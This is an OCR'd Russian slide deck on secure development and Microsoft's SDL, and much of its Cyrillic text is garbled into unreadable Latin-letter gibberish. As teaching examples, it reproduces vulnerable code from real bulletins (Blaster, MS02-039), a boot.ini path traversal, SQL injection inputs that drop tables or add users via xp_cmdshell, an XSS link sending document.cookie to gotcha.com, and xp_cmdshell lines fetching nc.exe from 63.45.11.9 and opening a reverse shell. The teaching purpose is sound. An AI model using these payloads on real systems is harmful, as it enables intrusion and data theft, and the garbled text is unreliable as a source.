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* [Nprnoputetbl Microsoft — paHbLLE U cenvac
 Peanunn BoHbI 3a 6e30nacHOCTb
« Kak nobeantb?



[Tpnoputetbl Microsoft

 KoMNblOTEP B KaXXabi AOM

* VITHdbopmaumna Ha KOHYMKax nanbLeEB
1995 — BaxHocTb Internet

« 2000 — .NET Platform

e 2002 — Trustworthy computing

 “Korga mbl cTankuBaemcsi ¢ npobrnemoun Bbidbopa mexay
peanusauyuen HoBon PyHKLUOHANBHON BO3MOXHOCTU U
yCTpaHeHuemM ya3BMMOCTHU, Mbl AOMMKHbI BbiIOUpaTb BTOopoe”



 KoHTponb 3a
NPMBAaTHOCTbLIO
nHpopmaumn

* [NpoaykTsbl,
- OHNawnHoBble
CepBVICbI

LiManbHOCTU, Lernoc
THOCTW AaHHbIX U
cucTem

* YnpaBnsemas

[Mpenckasyemas
MNoonepxnBaemas
YcTtonumeas
BocctaHoBumMmas
[lokazaHHas

Business
Practices

.

* OTKpbITbIE,
npo3payHble
B3aUMOOTHOLLEHUS
C 3aKas4mkamu

* JlngepcTteo B
NHOYCTPUN

» [logoepxka
OTKPbITbIX
cTaHOapToB




UTto aymaloT pa3paboTynkn?

“be3onacHOCTb, NOXanyu, camasi CKy4yHas Bellb Ha
cBeTe. YTo nponcxoauT Korga cuctemMa HageXxHo
3awmigeHa?

HUYEIO!™

Founder and CTO of WhiteHat Secuirity, Inc.
Jeremiah Grossman

www.whitehatsec.com




Bo 4TO BbINMBaeTca NnogoOHOE OTHOLLEHUE

« [1Be ctpokn koga Ha C B RPCSS (Blaster):

e while (*pwszTemp != L'\\')
*pwszServerName++ = *pwszTemp++;

* [lpuBenu K

« >1,500,000 3apakeHHbIX KOMIMbLIOTEPOB

« 3,370,000 3BOHKOB B nogaepxky B ceHTs06pe 2003 (npwu
0ObIYHbIX BUPYCHbIX anuaemusax He bonee 350,000)

 OYEHbL MHOro HeraTMBHbBIX KOMMEHTapPUEB

¢ «3TO NOAHMMET Ha HOBbIN YPOBEHL MbICIX O NOUCKE

ansTepHaTtmBbl Ans npoaykros Microsoft™
Gartner

. «Ol'lpeﬂ,eﬂeHHO BNOHbI COBUTN B JTy4HLLUYHO CTOPOHY

[Be3onacHocTb Microsoft], HO 9 He yBEPEH, YTO 3TUX COABUIOB
OOCTaTOYHO»

Forrester

Der Speigel



YTto ObIN10 caenaHo Microsoft

* IHBecTnpoBaHo boree
$100,000,000

« Oby4yeHo bonee 11,000 |
MHXXEHEepPOB N COTPYAHUKOB AR
NOAAEePXKN

» [MnaH no 6e3onacHocTy Ana AN puaseriae?
Kakgoro nNpoaykTa 09 Y

 MogennpoBaHue yrpos
* [locTOAHHBLIN ayauUT Koaa

« AyauT obsizatenbHasi YacTb
Npw BbIMyCKe NPoAyKTa




Pe3ynbrarthbl!
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Windows XPSP1 vs Windows XPSP2 | Exchange 2000 vs Exchange 2003




Pe3ynbrarthbl!

SQL Server 2000 vs SQL Server 2000
SP3

CHuXeHue
KOJn-Ba
, yA3BUMOCTEN
IE6 vs IE6 SP2 B 2 pa3a!




PesynesraThbl!

“Critical” & “Important” Security Bulletins

S

W
QS

2 R
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Pesynbrarthbl!

“Ha camom gene Mbl cyuTaem
Microsoft nupoepom otpacnu O
N3-3a UX yny4yweHun B

be3onacHou pa3paboTke”

John Pescatore

Vice President and Distinguished Analyst
Gartner, Inc

(From CRN, Feb 13" 2006)

http://tinyurl.com/rezjz
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Pesynbrarthbl!

“OHu [Microsoft] B 06s13aTenbHOM
nopsAaKke NPoOoBOAAT ayAUTbI Koaa wu
TPEeHWHIrn No 6e3onNacHOCTU ANA BceX
pa3paboTumkoB. Open Source NPOEKThI

NnoKa He MOryT NpuaepXnBaTbCA Tex
Xe TpedboBaHUMN.

Author and enterprise systems consultant Ted Neward

TheServerSide Java Symposium
(March 27'" 2006)




BonHa 3a be3onacHoCTb - Peanun

“9 n3 10 web cantoB UMeKOT KaKk MUHUMYM 1 CePbE3HYH0
YyA3BUMOCTb!

Kaxabin pa3 Korga Bbl nocewjaete Baw f1l06MMbINA on-line
Mara3uH, npoBepsieTe COCTOSIHUE cYeTa UM NpPocCcTo

pasroBapuBaeTe B YyaTe cyujecTtByeT 90% BepPOATHOCTb TOrO,
YTO CaWlT yXe B3riomaH!”

Founder and CTO of WhiteHat Security, Inc.
Jeremiah Grossman

HayanbHas ctoumocTb ysasBumocTtu ana Microsoft — $100 000

Microsoft Security Response Center




Peannn BOWHbLI
[lnnemma atakyroLlero 1 saljmilarLlerocs

1. AQMUHUCTPATOP AOMMKEH MOMHUTL O BCEX
BO3MOXHbIX crocobax B3fioMa; ataKyoLLunia
MOXET BblOpaTb camyto YA3BUMYIO
OCODEHHOCTb CUCTEMBI

2. AOMUHUCTpPAaTOp 3alluLIaeTcHd OT -
N3BECTHbIX METOAOB B3NIOMa; aTaKyoLLuiA
NpoOyeT HEN3BECTHbLIE

3. AOMUHUCTpaTOop BCeraa AOrmKeH ObiTb Ha

YeKy; aTakyloLnin MOXeT BblOpaTh nobown
MOMEHT

4. AOMUHUCTPATOP AOIMKEH NpUaepPXnBaTbCS
NpaBwr; atakyloLwmnn 3TOro He aenaer
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Peannn BOHbLI
XaKkepbl aTakyT HepaCTOPOMNHbLIX

« CekyHgomep 3anyckaetcs NOCJIE Bbinycka
naTya

« “Hackers Beating Efforts to Patch Software Flaws”

* http://www.computerworld.com/securitytopics/security/holes/stor
y/0,10801,104092,00.html

* “BMecTO TOro 4todbl NCKaTb YA3BUMOCTU CaAMOCTOATESNBbHO, OHU
[Xakepbl] XAOYyT NOKa BbINAYT NaT4yMn U 3aTeM CMOTPAT YTO 3a
Oblpbl TaM 3aKpPbITbl, 3aTEM OHU YXKe AyMaloT Kak nx
NCrosib3oBaTh’

« “Zotob Proves Patching "Window" Non-Existent”

« http://informationweek.com/story/showArticle.jhtml?articlelD=168
602115

» “Mybokas 3awmTa eaUHCTBEHHbIN LLIAHC 3aLUUTUTBLCS OT
paHHero nosiBneHns speaoHocHoro MoO”

15
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Peanun BOUHbLI
Xakepbl OTNNYHO BOOPYXKEHbI

* CyLWecTBYHOT MHCTPYMEHTbI, KOTOPblE NO3BOSIAOT
NPOCTO JenaTb SKCMNIOUTHI

. MHCprMeHTbI Ana peBepc-MHXUHNPUHTA

 Structural Comparison of Executable Objects, Halvar
Flake

* http://www.sabre-security.com/files/dimva_paper2.pdf

« PCT Bug: “ObHapyxXeHne n noHnMaHue ya3BUMOCTM 3aHASIO Y
Hac meHee 30 MUHYT’

« H.323 ASN.1 Bug: “O6bwunin aHann3 3aHan MeHee 3X YacoB”
* Exploit Payloads

« www.metasploit.com



Peannn BoOuHbI
HepaBHas CTOMMOCTb

LleHa co3gaHunsa aTaku MUHUMAarnbHa
LleHa onga 3aka34mMkoB OrpomMHa

PaspaboTka nnaHa ycTpaHeHus.

[Tonck ya3BUMOCTH.

YcTpaHeHue ya3BMMOCTN.

TecTnpoBaHue narva.

TecTnpoBaHue nporpamMmbl YCTAHOBKU natya.
CosgaHne n TecTMpoBaHWE NaTtya Ansa pasHbIX S3bIKOB.
CToumocTb undpoBoro nognuceiBaHus koga (Authenticode)
[Ty6nukauma natya Ha cant

HanncaHna conpoBognTernibHOM OOKYMEHTaLumn
OTtcnexusaHue n peakums Ha nyonukauum 8 CMU
CToumocTb Tpaduka

CTtommocTb paboyero BpeMeHu Ha pa3paboTKy crieayroLllen Bepcum
nNpoadykKTa, KOTOpoe ObIfTIo OCTAHOBIIEHO

CtommocTb YCTaHOBKU MNMat4a KIMMeHToM

CToMMOCTb NOTEHLMANBbHON nortepun goxoaa B CBA3N C BO3MOXXHbIM
peweHnemM KITMeHTOB He MoJib30BaTbCA BaALLM MNMPOAYKTOM

17



Kak nobeantb?

"Ecnu Bbl 3HaeTe Bpara u 3HaeTte cebds, To
MoOXeTe ObITb CMOKOWHbI, €CrIu BaM NpeacTonT
cpaXaTbCs AaXxe B COTHe OMTB.

Ecnu Bbl 3HaeTe camoro cebsi, HoO He 3HaeTe
Bpara, 3a Kaxayr oObITyro Bamu nobeay Bbl

OypeTe pacniadvyMBaTbCA NOpaXeHueM.
Ecnu Bbl He 3HaeTe HM caMoro ceods, HM Bpara,
Bbl OyaeTe pa3buTtbl B Kaxxgoun ourtee”

CyHb L3bl. "ickyccTBO BOWHBI"
511 rog 0o H.9.

18



IcKyCcCTBO BOWHBI

* YOoeauTb pyKOBOACTBO

 3HaTb MEeTOAbl B3rioma

« CoKpalyaTb BO3MOXHOCTb aTaku
* [pnaepxmBatbes npouecca SDL
* bbITb B Kypce

* YUnUTbCH

19



[logoep’xka pykoBOACTBA
OObIYHOE OTHOLUEHUE

“B komnaHuu, B kotopoii 1 pabotan 1O Microsoft,
BOMNPOCLI 6€30MNacHOCTU n3peaKa BO3HUKArIM Ha
YTPEHHUX COBeLaHNAX B NOHeAeSIbHUK -

nocrie Toro Kak TeXHU4YeCKUnN OUpPEKTop BO BpeMs

yukeHaa cmotpen dounbm us paspsaaa "The Net',

"Sneakers” nnmn "Hackers

OaunH n3 cotpygHukoB komnaHum Microsoft
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[logoep’xka pykoBOoACTBA
BaXHOCTb 3alUULLEHHbIX CUCTEM

« [1Be ctpokn koga Ha C B RPCSS (Blaster):

e while (*pwszTemp != L'\\')
*pwszServerName++ = *pwszTemp++;

* [lpuBenu K
« >1,500,000 3apakeHHbIX KOMIMbLIOTEPOB

« 3,370,000 3BOHKOB B nogaepxky B ceHTs06pe 2003 (npwu
0ObIYHbIX BUPYCHbIX anuaemusax He bonee 350,000)

 OYEHbL MHOro HeraTMBHbBIX KOMMEHTapPUEB

¢ «3TO NOAHMMET Ha HOBbIN YPOBEHL MbICIX O NOUCKE

ansTepHaTtmBbl Ans npoaykros Microsoft™
Gartner

. «Ol'lpeﬂ,eﬂeHHO BNOHbI COBUTN B JTy4HLLUYHO CTOPOHY

[Be3onacHocTb Microsoft], HO 9 He yBEPEH, YTO 3TUX COABUIOB
OOCTaTOYHO»

Forrester

Der Speigel



OTKyOoa bepyTtcs
Oblpbl B CUCTEMAX?



CyuwecteyeT TOJIbBKO
OBa Tvna npobnem c
0e30MnacHOCTbIO

MOosepue BBOAY
2)Bce ocTanbHoe!
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Crystal Reports Vulnerability
MS04-017

public class CrystalImageHandler : WebControl {
private string tmpdir = null;
protected override void Render (HtmlTextWriter writer) {
string filepath;

string dynamicImage = : (1) Nony4yaem nms danna us
(strlng)Context.Request.QueryStrlng.GeE éﬂﬁmﬁm301mage");

if (tmpdir == null) {
tmpdir = ViewerGlobal.GetImageDirectory() ;

}

filePath = tmpdir + dynamicImage;
FileStream imagestream =
new FileStream (filePath, FileMode.Open,
FileAccess.Read) ;

(2) OTkpbiBaeM
dpann
// stream file to user
(3) OTnpaBnsem

nosb3oBaTento
File.Delete (filePath) ;
} (4) YéuBaem
cpann!

""/E;rystalimagehandler.aspx?dynamicimage=..\..\boot.ir?\



[loBepue Tem, KOMY He Hago

«Bce Bxoasiuiee nnoxoe, NoKa He AOKa3aHO obpaTHoe!»

 [lepenonHeHnsa bygepos

101011011011011 10101101101101011011001010110
1

« SQL Injection

Blake Blake' or 1=1

* Cross-Site Scripting

Blake <script>var
i=document</script>

25



[lepenonHeHne cTeka

I OnpenenseTr nopagok

2 BbINOMHEHMS]
XeHAasbl UCKIoYeHNn  Agpec
YKkasaTtenu Ha pyHKUMWN Bo3BpaTa

BupTyanbHble MeToabl  PYHKUUK

%ﬁ%%z%% E’% Args

void func(char *p, int i) ({
int j = 0;
CFoo foo;
int (*fp) (int) = &func;
char b[128];

strcpy (b,p) ; \&
}

BaeT Ha OaHHble yXXe He b

26
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[lepenonHeHne cTeka

$arg = "ABCDEFGHIJKLMNOP".

void foo (const char* input) "\x45\x10\x40";
{ $cmd = "StackOverrun ".$arg;
char buf[10]; system($cmd);

printf ("My stack:\n%p..");

printf ("%s\n", buf) ; C:\>perl HackOverrun .pl

foo = 00401000

printf ("Now stack:\n%p.."); bar = 00401045
} My stack:
00000000
void bar (void) 00000000
{ 7FFDFO000
printf ("Augh! I've been hacked!\n") ; U2
0040108A
) 00410ECA
int main(int argc, char* argv|[]) ABCDEFGHIJKLMNOPE?@
{ Now stack:
printf ("Address of foo = %p\n", foo); 44434241
printf ("Address of bar = %p\n", bar); 48474645
f00 (argv B E 4C4B4A49
returnior 504F4E4D
l 00401045
} 00410ECA

Augh! I've been hacked!
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[ledanbHbIN NpUMep
SQL Server Instance Resolution (MS02-039)

#define INSTREGKEY "SOFTWARE\\Microsoft\\Microsoft SQL Server\\"
#define MAX RECV_MSG 256

void SsrpSvr (LPSTR szInstanceName) {
BYTE rgbRecvBuf [MAX RECV_MSG] ;

ssrpMsg = SsrpRecvMsg (rgbRecvBuf) ;

switch (ssrpMsg) ({
case CLNT UCAST INST: // Verb #4
SsrpEnum ( (LPSTR) &rgbRecvBuf[1]) ;

}

SSRPMSGTYPE SsrpRecvMsg (BYTE *rgbRecvBuf) ({ Cnyu.laeM nopT 1434 — Internet

bytesRecd = recvfrom( gSvrSock, (char*)rgbRecvBuf, MAX RECV MSG, O,
(SOCKADDR *) &gclientAddr, &cClientAddr ) ;

return ( (SSRPMSGTYPE) rgbRecvBuf [0]) ; Yutaem He Oonee 256

} 0anT N3 cetu

BOOL SsrpEnum(LPSTR szInstName, ...) {

char szregVersion[128];
sprintf (szregVersion, "$s%$s\\MSSQLServer\\CurrentVersion" , INSTREGKEY, szInstName) ;

Konunpyem B 128 6ant 6ydep :(




Elle npumep
DCOM Remote Activation (MS03-026)

error status t RemoteActivation(..., WCHAR *pwszObjectName, ... )

*phr = GetServerPath ( pwszObjectName, &pwszObjectName) ;
Cnywaem nopt 135 — Internet

}

HRESULT GetServerPath (WCHAR *pwszPath, WCHAR **pwszServerPath ) {
WCHAR * pwszFinalPath = pwszPath;
WCHAR wszMachineName [MAX COMPUTERNAME LENGTH FODN + 1];
hr = GetMachlneName(pwszPath wszMachineName) ;
*pwszServerPath = pwszFinalPath;

}

HRESULT GetMachineNzme (
WCHAR * pwszPath,
WCHAR WszMachineName[MAX_COMPUTERNAME_LENGTH_FQDN + 1]) {

pwszServerName, = wszMachineName;
LPWSTR pwszTemp = pwszPath + 2;

while ( *pwszTemp !'= L'\\' ) Konvpyem noka-we

*pwszServerName++ = *pwszTemp++;  BCTpeTUM ‘\'

29
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ATaKkn Ha UernoYncrieHHy apudomMeTuky
MIDI File Processing Error (MS03-030)

SMFRESULT FNLOCAL smfBuildFileIndex (PSMF BSTACK *ppsmf) ({
WORD wMemory;

wMemory = sizeof (SMF) + (WORD) (psmf->dwTracks*sizeof (TRACK)) ;
psmfTemp = (PSMF)LocalReAlloc (psmf, wMemory, LMEM MOVEABLE |LMEM ZEROINIT) ;

if (NULL == psmfTemp) { TLocalReAlloc BbIAENSET
DPF (1, "No memory for extended } ‘GrulUKOM Mano namsatu
return SMF_NO_MEMORY;

}
psmf = *ppsmf = psmfTemp;
// various buffer copies on psmf

sizeof(TRACK) == 0x24, sizeof(SMF) == 0x9EOQ
[NepenonHeHue ecnu dwTracks >= 0x6D8 (1752)

OX9EOQ + (0x24 x 0x6D8) == 0x0040 (64 bytes)
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[Tpobnembl ¢ KAHOHU3aLUMEN

more < boot.ini
equals
more < boot.ini.

equals
more < boot.ini::$DATA

Ha3BaHue nortoka

[JaBauTte paccMoTpum
http://www.myshop.ru/basket.aspx::$DATA



Cross Site Scripting (XSS)

 OYEHb yacTasa ya3BMMOCTb

* Ownbka B BED-cepBEPE MOXET NMPUBECTU K
KOMMNpPOMETaLUMn KNMeHTa n gaxe donee

 Ownbka — goBepssemM BBOAY U MNOBTOPSEM
ero!

KYJ



KX]

XSS B genctBumn — kpagem Cookie

a My Insecure Web Site - Microsoft Internet Explorer

File Edit View Favorites Tools Help Welcome ° asp

) Bac w lﬂ ]_gj _;j /.ﬁ\ Search i\? Fav, Hello ’

NS

Address <%= request.querystring (‘'name’) >

Hello, Blake
-~
% Win a $1,000,000!! - Messags ¢
2 My Insecure Site - Microsoft Internet Explorer

File Edit Yew Insert Format

E]@‘

»

File Edit View Favorites Tools Help

Mormal v Trebuchet M5 3 3 = 7 E
J € L &) Lﬂ @ h P ) Search 5. Favorites @ Media ﬁ‘? ( o
To.. | |Mary@MyISP.com 2 : :

AddeS:‘-{ http: f fwww.insecuresite. comjwelcome. asp?name=%3cscript%3edocument.w % | 24 Go Links

EChe: I

Subject:  |wWin a $1,000,000!!

Click here to claim your prize!

<a href=http://www.insecuresite.com/welcome.asp?name=
<script>document.write

('<img src="http://gotcha.com/ "$2bdocument.cookie%2b>")
</script>here</a>



XSS B genctesumn — “aedenc’

. ....‘A

"3 MSNBC - MSNBC Front Page - Microsoft In ] ] ]
Fle Edt Wew Favorkes Tooks Help llocation=<script>document.images[4].src=

Q- O A& Of "http://lwww.badsite.com/news.jpg"</script>

Address t a .msn.com/lacation="%It;script%gt;document.images[4].src="http:/ fvsww, badsite.com/news. jpg"%lt; [script%at; v a Go
MSN Home o® mail | Shopping | Money | People & Chat Sign Out, ... Web Search: _ o

S=

- BC News Updated: 4:31 p.m. ET March 23, 2004 Alerts | Newsletters | Help
M RIGHT NOW 2% LIVE VIDEO: Top current, former officials testify before 9/11 panel
< acam ¥
‘ ‘M L e > Bush responds
o‘ “ 4 W TEu . \
| ! C NG . Q B2 s e would-have:acted

fasteM™against al-Qaida if he
e 2
HOME had info br:mQa 9/11 that attack

was imminent, ® FULL STORY

News »

Busmess »

MORE TOP STOR1
* Medicare coulx\go broke by 2019

+ Gasoline prices\ft record high

Sports

Tech / Scuence

»
Entertainment  » NEC MNews

' Health Y — - L - . J
—N% TODAY 5 bbbt o M \ |/ 2 Change Set“ngs v

[ -

Travel

Opinions | Clapton' Y - 2 * Genext poll . WEATHER e Change s Remove
————— new tnbute tO , « Al Franken hits
Weather » —
o STEE e . « Levy: Ballot boxes
_ Local News e ~‘ e CURRENT CONDITIONS TUESDAY
Newsweek

N

= %% Hi: 57° :
MORE TOP STORIES S7° % Lo ag0 PP

Today Show

34
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e

SQL Injection — C#

string Status = "No";
string sqlstring ="";
try {
SglConnection sqgl= new SglConnection (
@"data source=localhost;" + Naponb uTto
"user id=sa;password=password7ﬁ77///"mm!
/ o
Pa6oTaem T .Op?n () _ String concat
Kak sqlstring="SELECT HasShipped" + ansa dynamic SQL
apmMuH! " FROM Shipment WHERE ID='" + Id + "'";

SqlCommand cmd = new
SglCommand (sqlstring,sql) ;
if ((int)cmd.ExecuteScalar() '= 0)
Status = "Yes";
} catch (SqlException se) {
Status = sqlstring + " failed\n\r";
foreach (SqlError e in se.Errors) ({

Status += e.Messagg\i\f\n\r";

} FfoBopuM ns1IOXOMYy
i yenioBeKy
} catch (Exception e) { C/INLLIKOM MHOrO!

Status = e.ToString() ;
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{70 HenpaBuibHO (1 13 3)

sqlstring="SELECT HasShipped" +
" FROM Shipment WHERE ID='" + Id + "'";

OObLIYHbLIN NONb30BaTeNb

Enter a Shipping ID: 1001

SELECT HasShipped
FROM Shipment
WHERE ID='1001"

«He o4yeHb xopoLwiunn

Enter a Shipping ID: 1001 or2>1 -

SELECT HasShipped
FROM Shipment
WHERE ID= '1001' or 2>1 -- '



HTO HeNnpaBwUmbHO (2 13 3)

sqlstring="SELECT HasShipped" +
" FROM Shipment WHERE ID='" + Id + "'";

«OYyeHb NNoOXoun xakep»

Enter a Shipping ID: | 1001" drop table orders —

SELECT HasShipped
FROM Shipment
WHERE ID= '1001' drop table orders -- '

«AdpTap ayuKkmm coToHa»

Enter a Shipping ID: ifﬂ[ﬂ' execxp_cmdshell('net user add URHacked Pa$sw0rd") —

SELECT HasShipped
FROM Shipment
WHERE ID= 'l00l1' exec xp cmdshell('...'"') --

37
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UTo HenpaBunbHO(3 13 3)
Baw cambiv cTpallHbIX Kowmap!

¥ "@

@exec xp_cmdshell ‘tftp -i 63.45.11.9 GET nc.exe c:\nc.exe'

A\

m % Jwns 63.45.11.9

@exec xp_cmdshell ‘c:\nc.exe -v -e cmd.exe 63.45.11.9 31337"

g- &
[ 1 -




CoKpallanTe NOBEPXHOCTb aTak

* [1lo ymMmon4yaHuio BCe BbIKITKOYEHO
* Vicnonbaynte 3alluLLEeHHbIN Koa

* Vlcnonb3ynte MHCTPYMEHThI

* Vlcnonb3yute ny4ylune npakTuku

39



CHWXeHne BePOATHOCTM aTaku

 AHanu3 Todyek Bxoaa B 10, a Takxke

Executing by default | Off by default

Open socket Closed socket

UDP TCP

Anonymous Access User Access

User Access Admin Access
Internet Access Local Subnet Access
SYSTEM Not SYSTEM!

Weak ACLs Strong ACLs

40



[Tpumepbl

 Windows XP SP2

« Authenticated RPC
* Firewall no ymonyanuio

11S6

 BbikntoyeH!
 Network service
 TonNbKO cTaTtuka

« SQL Server 2005
« Xp_cmdshell Bblknto4veH
« CLR n COM Bblknto4eH
* Network service

* Visual Studio 2005

 \Web server Tonbko angd
localhost

* SQL Server Express
Tonbko ang localhost

41



CoKpallanTe NOBEPXHOCTb aTak

* [1o ymonyaHuio BCe BbIKMOYEHO

* Acnonb3yunTte 3aliuLlEeHHbIN KOoA
* lcnonb3ynte MHCTPYMEHTHI
* Vlcnonb3yute ny4yline npakTuku

42



CoKpallanTe NOBEPXHOCTb aTak

* [1o ymonyaHuio BCe BbIKMOYEHO
* Vicnonb3aynte 3alluLLEeHHbLIN KoA

* Aicnonb3ynte NHCTPYMEHTbI
* Vlcnonb3yute ny4yline npakTuku

43



E? FxCop Documentation 1.32.0

Hide  Locate Back Fomward nt Options

Contents |Index | Search | Favartes |

(C1 Mability
(L] Naming
(L] Performance

03 Pottabilty Review sql queries for security
= £ Security vulnerabilities

[EJ Aptca methods should only call aptca methods
E] Aptca types should only extend aptca base types
E Array fields should not be read only
@ Call GC.Keepdlive when using native resources
@ Catch non-CLSCompliant exceptions in general handlers
[£] Do not declare read only mutable reference types
@ Do not indirectly expose methods with link demands
E] Method security should be a superset of type
L‘éj Override link demands should be identical to base
@ Painters should not be visible
@ Review declarative security on value types
@ Review deny and permit only usage
2] Review imperative security
E] Review sql queries for security vulnerabilities
[é_j Review suppress unmanaged code security usage
EJ Review visible event handlers
@ Seal methods that satisfy private interfaces
[£] Secure asserts
|£] Secure GetDbjectData overides
2] Secure late-binding methods
LE_J Secure serialization constructors
E Secured types should not expose fields
@ Specify marshaling for pinvoke string arguments
@ Static constructors should be private

Type link demands require inheritance demands

rap vulnerable finally clauses in outer try

TypeName: ReviewSglQueriesForSecurityVulnerabilities
ChecklId: CAZ2100

Category: Microsoft.Security

Message Level:  Error

Certainty: 75%

Breaking Change: NonBreaking

Cause: & method sets the

System.Data.IDbCommand.CommandText property by using a
string that is built from a string argument to the method.

Rule Description

This rule assumes that the string argument contains user input.
& SQL command string built from user input is vulnerable to SQL
injection attacks. In a SQL injection attack, a malicious user
supplies input that alters the design of a query in an attempt to
damage or gain unauthorized access to the underlying
database. Typical techniques include injection of a single
quotation mark or apostrophe, which is the SQL literal string
delimiter; two dashes, which signifies a SQL comment; and a
semicolon, which indicates that a new command follows. If user
input must be part of the query, use one of the following, liStEd‘JLI
»




fxCop - Demo

* Sqgl Injections B gencrteuu

* Cross Site Scripting He npouaet
» fXCop Ha cTpaxe

» CobcTBEHHbIE NpaBuna
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CoKpallanTe NOBEPXHOCTb aTak

* [1o ymonyaHuio BCe BbIKMOYEHO
* Vicnonb3aynte 3alluLLEeHHbLIN KoA
* Vlcnonb3ynte MHCTPYMEHThI

 Acnonb3yute nydline npakTuku
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System.Security.SecureString

SecureString password = new SecureString() ;
ConsoleKeyInfo nextKey = Console.ReadKey (true) ;

while (nextKey.Key != ConsoleKey.Enter)

{
password.AppendChar (nextKey .KeyChar) ;

Console.Write("*") ;
nextKey = Console.ReadKey (true) ;

}

password.MakeReadOnly () ;
return password
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Enterprise Library 2.0

» Cryptography Application Block
« Security Application Block

 Demo
 Configuration Tool
* Quick Start for Security
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Proactive Security Development Lifecycle
3agadun n npoLecchl
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Kickoff Design | Attack Surf Tools & | _ 0°° | Respon PUsh | security &

& Register Best Review Thio Security For se Pen Review Response
with Practice Modeli Best Produt Plan Testin Execution
SWi s odeling Dev & Test hei " (o]

Practices
p Support
Requirci Design Implementation Verification Release &
Servicing
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B Listing 3. A Simple “Harmful SQL Commands” Filter

— JOURNAL

<7php
function filter_sql($input) {
Sreg = "(delete) | (update) | Cunion) | (insert)";

return(eregi_replace(Sreg, "", $input));




Listing 4. Typical Usage of the Mcrypt Extension

<7php

Create your key at randontJ n U H N A l

but keep it handy as you
will use it to decrypt later

Skey = "AOQKILCLIGAKIHSD
<NKLXASLUIHIKHAS

OIUDSgfuyIKLBLKU";




Ponb o0y4yeHus

OKCNEPUMEHT

& &8

##define INSTREGKEY

"SOFTWARE\ \Microsoft\\Microsoft
SQL Server\\"

#define MAX RECV_MSG 256

#define INSTREGKEY

"SOFTWARE\ \Microsoft\\Microsoft
SQL Server\\"

#define MAX RECV_MSG 256

10
16
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NET

Framework

Michael Howard
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EXPLOITING
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HOW TO BREAK CODE

Security

Frank Swiderski

Pracica srtegesand tehiauesforsecure A GREG HOGLUND = GARY McGRAW
! Brian A. LaMacchia Matthew Lyons S e
Sebastian Lange Rudi Martin
Kevin T. Price

“This book offors somo of the bast securdy testing concapts ve seen |mprOVing Web

You don't have 10 use the lechniques outlined in this book; but f you

ot e rckers wit Application Security

~ Michael Howard. Mcrosol
co-author of irtng Secure Cooe Threats and Countermeasures
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Samara .NET User Group

* > 100 yyacTHUMKOB

* 18 BCTpeuY, 2 BCTPEUU KaXabl MecsLl
« >30 goknagoB Ha pasHbie TEMBbI

o KHUMN

e 3aluuTa BallUX NMPOEKTOB

* [1pn3bl

 OBLWEHWE
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Pecypchil

* OnncaHue Securi
http://msdn.micr

* bnor Michael H
http://blogs.msd




3aknyeHue

* be3onacHOCTb 3TO O4eHb BaXXHO, MOTOMY
YTO MOXET ObITb OMeHb HaKagHo

* HyXHoO:
* YoeanTb pyKOBOACTBO
 3HaTb MEeTOAbl B3rilomMa
« CoKkpalyaTb BO3MOXHOCTb aTaku
* [1pnaepxmBatbesa npouecca SDL
* bbITb B Kypce
e ObwaTbeca — UG xnet Tebs!
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Bonpochbi?

P P [

It's QUESTION TIME!!

Cepreu lNonsakos
alexei@samara.net
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Microsoft

Your potential. Our passion.”

© 2005 Microsoft Corporation. All rights reserved.
This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.
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Kak paboTtaet Microsoft: Watson

Microsoft®
Online Crash Analysis




Ewe uenovncrieHHble
Internet Explorer 5.0 B ndering (MS04-025)

while (_bmfh.bfOffBits > (unsigned)cbRead) ({
BYTE abDummy[1024] ; p—
int cbSkip; If cbSkip < 0 :(

cbSkip = bmfh.bfOffBits - cbRead;

if (cbSkip > 1024)
cbSkip = 1024;

if (!'Read(abDummy, cbSkip))
goto Cleanup;

cbRead += cbSkip;
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Ewe

GDI+ JPG Rendering (MS04-028)

BOOL GpJdpegDecoder: :read Jjpeg marker (
IN j decompress ptr cinfo,
IN SHORT app header,
OUT VOID **ppBuffer,
OUT UINT16 *pLength ) {

VOID *pBuffer;
UINT16 length;

INPUT;VARS(cinfo);
INPUT 2BYTES (cinfo, length, return FALSE) ;

*pLength = length+2; o

pBuffer = GpMalloc (length+2) ; OxFFFE + 0x02 == 0x00
INT 1 = length - 2; OXFFFFFFFE - 0X02 ==
OXFFFFFFFC

T\

GpMemcpy (p, cinfo->src->next input _;CC, 1),



